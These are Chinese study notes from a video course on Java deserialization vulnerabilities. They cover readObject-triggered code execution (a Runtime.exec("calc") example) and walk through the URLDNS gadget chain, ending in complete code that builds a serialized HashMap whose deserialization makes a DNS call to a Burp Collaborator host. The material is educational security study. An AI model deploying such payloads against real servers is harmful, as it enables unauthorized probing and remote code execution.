声明:本文为b站白日梦组长视频学习笔记,如有侵权,联系我速删
组长b站的传送门:https://space.bilibili.com/2142877265/?spm_id_from=333.999.0.0
一、java序列化和反序列化 java对象 –> 字节
为了传输,类比快递,打包和拆包
有些快递打包拆包有独特的需求,比如易碎朝上,重写readObjec和writeObject
为什么有安全问题?
只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,基于攻击者在服务器上运行代码的能力。
可能形式
入口类的readObject直接调用危险方法(基本没有这种情况) 1 2 3 4 5 6 private void readObject (ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException { objectInputStream.defaultReadObject(); Runtime.getRuntime().exec("calc" ); }
入口类参数中包含可控类,该类有危险方法,readObject时调用 1 2 3 4 入口A HashMap 接受参数O 目标类B URL 目标调用B.f A.readObject.invoke -> B.f
入口类参数中包含可控类,该类调用其他有危险方法的类,readObject时调用 比如类型定义为Object,调用equals/hashcode/toString
重点 相同类型 同名函数
1 2 3 4 5 6 B.f可以利用漏洞(执行命令) 入口A接受一个Object 最好情况: A[O] -> O.f ,直接把B传过去,调用B.f 现实情况: A[O] -> O.abc,O调用别的方法 但是如果O是一个动态代理,在他的invoke中调用了f,也可以利用漏洞 O[O2] invoke -> O2.f
构造函数/静态代码块等类加载时隐式执行。 共同条件 实现Serializable,最好JDK自带
入口类 source (重写readObject 参数类型宽泛 最好jdk自带)HashMap
调用链 gadget chain
执行类 sink (rce ssrf 写文件等)
反射在反序列化漏洞中的应用:
定制需要的对象
通过invoke调用除了同名函数以外的函数
通过Class类创建对象,引入不能序列化的类
小例子 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class Person implements Serializable { private String name; private int age; public Person () { } public Person (String name, int age) { this .name = name; this .age = age; } @Override public String toString () { return "Person{" + "name='" + name + '\'' + ", age=" + age + '}' ; } }
1 2 3 4 5 6 7 8 9 10 11 12 public class SerializationTest { public static void serialize (Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); objectOutputStream.writeObject(obj); } public static void main (String[] args) throws IOException { Person person = new Person ("zhangsan" , 22 ); System.out.println(person); serialize(person); } }
1 2 3 4 5 6 7 8 9 10 11 12 public class UnserializationTest { public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream (filename)); return objectInputStream.readObject(); } public static void main (String[] args) throws IOException, ClassNotFoundException { Person person = (Person)unserialize("ser.bin" ); System.out.println(person); } }
ObjectOutputStream代表对象输出流,writeObject对对象进行序列化,把得到的字节序列写到一个目标输出流中。
ObjectInputStream代表对象输入流,readObject从一个源输入流中读取字节序列,再把他们反序列化为一个对象,并将其返回。
并不是所有的类都是可以进⾏序 列化和反序列化的, 要进⾏序列化和反序列化则该类必须继承⾃java.io.Serializable 接⼝(该类的全 部属性也必须继承⾃Serializable接⼝) 。 否则会抛出NotSerializableException报错
反序列化是针对对象属性的,而不是针对类的,所以与类有关的静态成员变量是不会被反序列化的
1.静态成员变量不参与序列化
2.transient标识的对象成员变量不参与序列化
二、URLDNS链 1.HashMap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException { ObjectInputStream.GetField fields = s.readFields(); ...... for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } }
HashMap为什么要重写readObject方法?
HashMap中,Entry的存放位置是根据Key的Hash值来计算的。对于同一个key,在不同的JVM中计算得出的Hash可能不同。所以需要把每个对象提出来单独计算Hash并存储。
1 2 3 4 5 6 7 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); } public native int hashCode () ;
2.URL类 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; } protected int hashCode (URL u) { int h = 0 ; ...... InetAddress addr = getHostAddress(u); ...... }
3.尝试构造反序列化链 1 2 3 HashMap<URL, Integer> map = new HashMap <>(); map.put(new URL ("http://qoi1p3cnulmb30dhidvrc4h3quwlka.burpcollaborator.net" ),1 ); serialize(map);
出现两个问题
1.在序列化之前就会发起调用一次hash函数,从而发起DNS请求,可能会影响我们。
1 HashMap.put() -> HashMap.Hash() -> Object.hashCode()
2.URL的初始hashCode为-1,但是在put之后会触发URL的hashcode方法,导致hashCode不是-1,从而发序列化的URL对象的hashCode也不是-1,反序列化时就不会触发hashCode方法
1 2 3 4 5 6 7 8 9 10 11 private int hashCode = -1 ;public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; }
解决方案
1 2 3 4 map.put(new URL ("http://qoi1p3cnulmb30dhidvrc4h3quwlka.burpcollaborator.net" ),1 ); serialize(map);
4.URLDNS完整版 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public static void main (String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { HashMap<URL, Integer> map = new HashMap <>(); URL url = new URL ("http://2y1dzfmz4xwndcntsp53mgrf066yun.burpcollaborator.net" ); Class c = url.getClass(); Field hashCode = c.getDeclaredField("hashCode" ); hashCode.setAccessible(true ); hashCode.set(url,1234 ); map.put(url,1 ); hashCode.set(url,-1 ); serialize(map); } public static void main (String[] args) throws IOException, ClassNotFoundException { unserialize("ser.bin" ); }